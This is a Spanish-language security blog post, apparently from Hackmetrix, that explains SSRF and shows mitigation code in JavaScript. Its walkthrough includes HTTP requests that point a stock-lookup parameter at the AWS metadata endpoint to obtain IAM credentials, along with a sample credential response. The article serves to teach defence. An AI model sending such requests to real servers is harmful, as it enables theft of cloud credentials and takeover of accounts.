Qué es SSRF (Server Side Request Forgery) y cómo se soluciona

Qué es SSRF (Server Side Request Forgery) y cómo se soluciona

6 minutos de lectura

Esta vulnerabilidad ocurre cuando una aplicación web permite hacer consultas HTTP del lado del servidor hacia un dominio arbitrario elegido por el atacante.

Esto le permite a un atacante hacer conexión con servicios de la infraestructura interna donde se aloja la web y exfiltrar información sensible.

SSRF Server Side Request Forgery

Para conocer más especificaciones de esta vulnerabilidad, puedes consultar su ficha en la CWE (Common Weakness Enumeration, un sistema que enumera y categoriza las debilidades y vulnerabilidades comunes en los software y hardware).

Los riesgos de un SSRF

Un atacante podría realizar consultas a servicios internos de la empresa para:

  • Robar datos sensibles como credenciales de usuarios o archivos de sistema.
  • Hacer peticiones a servicios internos para manejar el panel de administración, escanear puertos y servicios dentro de la infraestructura interna y conectarse al servidor de correos para enviar correos sin autorización.
  • Escalar privilegios dentro del sistema y ejecutar código de forma remota dentro del servidor.

Cómo funciona un SSRF

Cuando una aplicación hace una llamada a una URL (por ejemplo a una API), un atacante puede podría editar la consulta para que esa llamada se haga a otra dirección. 

Así, podría acceder a un panel de administración sin autorización, ver archivos dentro del sistema con información sensible o incluso escanear puertos dentro de la red interna de ese servidor. 

Los casos son variados, pero veamos cómo un atacante podría robar las llaves de AWS1 de una empresa.

  1. Supongamos que una petición web que consulta el stock de un producto, se ve de la siguiente manera.

POST /stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded

stockApi=http://169.254.169.254/check/productId=1

  1. En este caso, un atacante podría modificar la consulta para, en lugar de pedir datos de stock del producto, pedir los metadatos de la API y encontrar una lista de roles válidos.

POST /stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded

stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Aunque inicialmente la API tenga restricción de acceso para que no se puedan hacer consultas externas, la consulta se origina desde el servidor web. Por esto, la API va a responder a la consulta como si tuviera autorización para hacerla.

  1. Una vez obtenida la lista de roles, el atacante podría usar un rol para hacer la siguiente petición.

POST /stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded

stockApi=http://169.254.169.254/latest/meta-data/iam/security-credentials/NOMBRE_ROL

  1. La respuesta a esa solicitud podría verse de esta forma:


“Code” : “Success”, 
“LastUpdated” : “2021-08-03T20:42:03Z”, 
“Type” : “AWS-HMAC”, 
“AccessKeyId” : “ASIA5A6IYGGDLBWIFH5UQ”, 
“SecretAccessKey” : “sMX7//Ni2tu2hJua/fOXGfrapiq9PbyakBcJunpyR”, 
“Token” : “AgoJb3JpZ2luX2VjEH0aCXVzLWVhc3QtMSJHMEUCIQDFoFMUFs+lth0JM2lEddR/8LRHwdB4HiT1MBpEg8d+EAIgCKqMjkjdET/XjgYGDf9/eoNh1+5Xo/tnmDXeDE+3eKIq4wMI9v//////////ARAAGgw4OTUzODQ4MTU4MzAiDEF3/SQw0vAVzHKrgCq3A84uZvhGAswagrFjgrWAvIj4cJd6eI5Gcje09FyfRPmALKJymfQgpTQN9TtC/sBhIyICfni8JJvGesQZGi9c0ZFIWqdlmM/2rdZ6GaqcZY9V+0LspbwiDK0FUjrRcquBVswSlxWs8Tr0Uhpka20mUQOBhovmVyXNzyTQUQnBE9qgFLbYY+t86yUXmXMXxGPd4sWuLgkoCF2iPlMkgUwZq8hZvoiVf7TVQU32sgstKN7ozJiJcgTBpa6/batscGBtNpck4LOvHzNwwYv/FuVkpC70bPhqNXVxMEcpwt4s7RkHHowdFlNpnPpm57dfAYwZwoklWJdvtqFQ0tZHusZ65vJqyk5cZ8f3P/Cf7UlzoZPsIsarWcgfiDvkQliU9fY6Brt7jyjrF5h7oJbW/LUS4R9SDp+qKMtUY2JmLZRovsW4GfhfLJWv7wrW81QZVC8rBKLzWFRTLRkhlTFsS7A5JscuKoORyDxGQq/pGRsE30effdS9G1xNmzKwn45/V0XsilhTE7pOJGGopuLfBo5KD46hVS9v1iBuvxrVxsHFz7mnD/GKiwi1hbFAKEvypagZ28qEJaarNvAdi2QOowjuOX6gU6tAFrfFVBb6ZTI4btIjHNNoT0TFW5iYD0dkD+csqC4nTVpnAG/FFBk+CAHdy5Gh/aBISO7OQF9xKJSXkd+Syf62pg5XiMseL3n2+2+IWdDgKwhZYxeVlMbX88QYX3P9sX+OWHWidAVgTQhZw3xJ+VBV33EKgJ4b8Bk6mgo0kiB1hnoN0KX8RXr1axpYnJv2GHb8h/det89iwpyk77+8YcEvRc+DGTLIcUIxDoirgck9bpP3EBXfs=”, 

“Expiration” : “2021-08-04T03:16:50Z”
}

De esta forma, el agente malicioso obtendría acceso a la llave AWS y podría tomar el control de todas las cuentas de AWS.

Cómo solucionar un SSRF en el código2

La función para validar una URL ingresada podría ser la siguiente:

function validUrl (url) {  
return url
}

En este caso, no existe ningún tipo de revisión de seguridad en el input del usuario. Esto quiere decir que el atacante tiene libertad de ingresar diferentes tipos de formatos de URL y la página estará vulnerable a todo tipo de ataques SSRF.

Solución

Lo primero que debemos hacer es evitar que se puedan usar otros protocolos. Para ello, debemos agregar expresiones regulares al código para que el input sólo comience con http o https.

function validUrl (url) {  
return url && /^(http|https):\/\//.test(url)
}

Ahora bien, esto no es suficiente, ya que un atacante podría hacer consultas a la red interna por medio de un string como “http://127.0.0.1/admin”. Para esto podemos agregar:

function validUrl (url) {  
return url    
&& /^(http|https):\/\//.test(url)    
&& !someIpChecker.isPrivate(url)
}

Otra forma que puede encontrar un agente malicioso de hacer la petición es a través de un dominio que apunte a resolver 127.0.0.1. 

Nuestra mejor opción, entonces, es poder hacer un dnslookup para conocer de qué forma resuelve ese dominio.

function validUrl (url) {  

return url    
&& /^(http|https):\/\//.test(url)    
&& !someIpChecker.isPrivate(url)    
&& !someIpChecker.isPrivate(dnsLookup(url))
}

Esto está mucho mejor. 

Una vez que se haya realizado la conexión, es importante seguir haciendo revisiones continuas para evitar los cambios de direcciones en DNS (o aceptar sólo ciertos DNS), y también controlar las redirecciones. Si sólo hacemos una comprobación de la primera resolución, puede que no lleguemos a verificar la segunda resolución lo suficiente como para evitar a un agente maligno.

Tips de remediación

En resumen, para remediar esta vulnerabilidad debemos tener en cuenta los siguientes métodos:

  • Deshabilitar redirecciones
  • Usar whitelist para los dominios aceptados 
  • Usar expresiones regulares para establecer un patrón aceptable
  • Restringir los protocolos habilitados

Cómo puede ayudar Hackmetrix

Los casos en los que puede aparecer esta vulnerabilidad son diversos y, hasta la fecha, no existe una herramienta automatizada que permita detectarla. 

Una vez que logres corregir los errores en el código, es recomendable solicitar ayuda externa para realizar pruebas de intrusión minuciosas y efectivas. 

En Hackmetrix contamos con un equipo especializado que te ayudará a poder detectar estas fallas y prevenir que futuros agentes maliciosos se aprovechen de ellas.

Conclusión

Los grados de impacto de esta vulnerabilidad expone una gama de riesgos entre el robo de datos y escalación de privilegios, hasta el control remoto de servidores. Todo depende de la intención del atacante, y eso definitivamente no puedes dejarlo a la suerte y el humor de un hacker.

Evitar estos riesgos es de suma importancia ya que podría poner en peligro los datos almacenados (propios y de clientes) y generar brechas costosas para el negocio.

Por otro lado, para detectar esta vulnerabilidad se requiere del trabajo de una persona calificada que analice, evalúe e interprete la información, por este motivo, es recomendable realizar pruebas de intrusión periódicas para detectarlas de forma temprana.

Aún así, ya conoces los métodos de remediación que te ayudarán a resolver este tipo de errores y a tenerlos en cuenta en la escritura de tu código. 

Referencias

1 http://ghostlulz.com/ssrf-aws-credentials/

2 https://www.useanvil.com/blog/2021-04-28-ssrf-mitigation

Backed by

Hackmetrix startup chile